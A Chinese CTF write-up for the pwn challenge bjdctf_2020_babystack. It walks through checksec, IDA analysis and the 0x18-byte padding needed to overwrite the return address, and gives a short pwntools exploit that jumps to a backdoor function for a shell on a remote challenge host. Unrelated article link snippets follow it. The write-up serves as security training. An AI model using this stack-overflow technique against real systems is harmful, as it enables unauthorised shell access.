首先nc一下远程环境,看一下他有什么功能。发现有两个输入,第一个是输入名字的长度,第二个是输入名字。

file 查看一下给的附件。是一个64位的 ELF 可执行文件。

checksec 查看文件的安全保护。得知启动了NX栈保护,其他保护都没开。

使用IDA查看文件的main函数。在打开时需要区分32位与64位,低版本的IDA,32位文件需要在IDA32中打开,但是IDA版本较高时就不用管了,32位也可以放在IDA64中打开。

查看伪代码:



发现了 scanf 这个这个高危函数。

程序流程:用户输入一个整数,并把此数存在 nbytes 变量中,再提示用户输入姓名,然后使用read函数从标准输入读取指定长度(由 nbytes 决定)的数据到 buf 数组中。

并且在函数中发现了 backdoor 这个后门函数,因此我们就需要造成程序的溢出再让其覆盖 backdoor 函数的位置,得到 shell

查看我们需要填充的字节为 0x10+8=0x18

backdoor 函数的内存地址为:0x4006E6

编写exp:

from pwn import *
r=remote('node5.buuoj.cn',29605) backdoor_addr=0x4006E6
#ret = 0x401198 payload=b'a'*0x18+p64(backdoor_addr)
r.sendlineafter('name','123')
r.sendline(payload)
r.interactive()

PWN手的成长之路-03-bjdctf_2020_babystack的更多相关文章

  1. 专访雷水果国:离1.5K至18K 一个程序猿5每年的成长之路

    我只是一个小菜鸟,对于自主学习和交流PHP(jquery,linux,lamp,shell,javascript,server)等一系列的知识.小菜鸟创建了一个群.希望光临本博客的人能够进来交流. 寻 ...

  2. OpenCV成长之路:图像直方图的应用

    OpenCV成长之路:图像直方图的应用 2014-04-11 13:57:03 标签:opencv 图像 直方图 原创作品,允许转载,转载时请务必以超链接形式标明文章 原始出处 .作者信息和本声明.否 ...

  3. 架构师成长之路1.1-系统监控工具htop

    点击返回架构师成长之路 架构师成长之路1.1-系统监控工具htop htop 是Linux系统中的一个互动的进程查看器,一个文本模式的应用程序(在控制台或者X终端中),需要ncurses. 与Linu ...

  4. 我的Cocos Creator成长之路1环境搭建以及基本的文档阅读

    本人原来一直是做cocos-js和cocos-lua的,应公司发展需要,现转型为creator.会在自己的博客上记录自己的成长之路. 1.文档阅读:(cocos的官方文档) http://docs.c ...

  5. 《菜鸟程序员成长之路:从技术小白到阿里巴巴Java工程师》

    <菜鸟程序员成长之路:从技术小白到阿里巴巴Java工程师> 国庆节快乐!一年一度长度排第二的假期终于来了. 难得有十一长假,作者也想要休息几天啦. 不管你是选择出门玩,还是在公司加班,在学 ...

  6. 原创电子书《菜鸟程序员成长之路:从技术小白到阿里巴巴Java工程师》

    <菜鸟程序员成长之路:从技术小白到阿里巴巴Java工程师> 国庆节快乐!一年一度长度排第二的假期终于来了. 难得有十一长假,作者也想要休息几天啦. 不管你是选择出门玩,还是在公司加班,在学 ...

  7. (转)Python成长之路【第九篇】:Python基础之面向对象

    一.三大编程范式 正本清源一:有人说,函数式编程就是用函数编程-->错误1 编程范式即编程的方法论,标识一种编程风格 大家学习了基本的Python语法后,大家就可以写Python代码了,然后每个 ...

  8. redis成长之路——(二)

    redis操作封装 针对这些常用结构,StackExchange.Redis已经做了一些封装,不过在实际应用场景中还必须添加一些功能,例如重试等 所以对一些常功能做了一些自行封装SERedisOper ...

  9. redis成长之路——(一)

    为什么使用redis Redis适合所有数据in-momory的场景,虽然Redis也提供持久化功能,但实际更多的是一个disk-backed的功能,跟传统意义上的持久化有比较大的差别,那么可能大家就 ...

  10. 【腾讯Bugly干货分享】JSPatch 成长之路

    本文来自于腾讯bugly开发者社区,非经作者同意,请勿转载,原文地址:http://dev.qq.com/topic/579efa7083355a9a57a1ac5b Dev Club 是一个交流移动 ...

随机推荐

  1. Maui 实践:用 Channel 实现数据库查询时读取速度与内存占用的平衡

    我们在进行数据库查询时,通常并不是为了取得整个表的数据,而是某些符合过滤条件的记录.比如: var unassociatedSudokus = await _dbContext.DbSudokus . ...

  2. SciTech-Mathmatics-Lean : 数学推导的自动化形式化证明语言

    SciTech-Mathmatics-Lean : 数学推导的自动化形式化证明语言 Official Site https://lean-lang.org/documentation/ Lean4 - ...

  3. 实用脚本公开!0成本实现GitOps中Kubernetes资源自动调优

    原文发布于 CloudPilot AI 在云原生环境中,Kubernetes 资源配置是一项非常关键的工作,尤其是当你通过 GitOps 流程来管理集群时更是如此. 这篇文章会带你了解资源管理中常见的 ...

  4. win11正式版如何关闭微软输入法的问题

    许多深度技术的朋友在使用win11正式版电脑时会安装第三方输入法,不想要使用微软官方的输入法,要如何关闭呢?接下来,深度官网小编分享具体的关闭方法,让我们一起来看看吧. 在 Win11 正式版中关闭微 ...

  5. Unity开源搜索引擎

    https://unitylist.com/

  6. CAS 5.3.1系列之自定义JDBC认证策略(三)

    CAS 5.3.1系列之自定义JDBC认证策略(三) CAS官方文档是介绍基于配置实现jdbc认证的,可以参考我博客:CAS 5.3.1系列之支持JDBC认证登录(二),不过我们也可以通过自定义认证策 ...

  7. axios的各种post提交方式总结

    先创建一个axios的通用对象 const request = axios.create({ timeout: 10000 }); 第一种提交form表单数据,后台正常用对象接收 let fm = n ...

  8. Neor Profile SQL is the solution for developers wanting to profile the MySQL queries. This software allows the tracking of all queries to MySQL server from your application or website.

    The profiler features Neor Profile SQL is the solution for developers wanting to profile the MySQL q ...

  9. Go语言出现:CreateProcess error=216, 该版本的 %1 与你运行的 Windows 版本不兼容。

    Go语言出现:CreateProcess error=216, 该版本的 %1 与你运行的 Windows 版本不兼容.请查看计算机的系统信息,然后联系软件发布者https://blog.csdn.n ...

  10. GPU版线性回归

    #import keras #import numpy as np #import matplotlib.pyplot as plt #from keras.models import Sequent ...